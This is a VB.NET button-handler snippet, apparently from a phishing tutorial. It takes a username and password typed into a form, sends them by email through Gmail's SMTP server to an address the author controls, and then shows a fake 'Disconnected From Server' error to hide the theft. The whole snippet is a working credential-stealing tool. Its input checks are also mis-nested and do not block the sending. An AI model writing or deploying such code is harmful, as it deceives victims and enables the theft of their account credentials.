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Imports System.Net.Mail

Button Code:
If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
        Else
        End If
        End if
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        smtpServer.Send(mail)
        MsgBox("DIsconnected From Server, Please try again later!")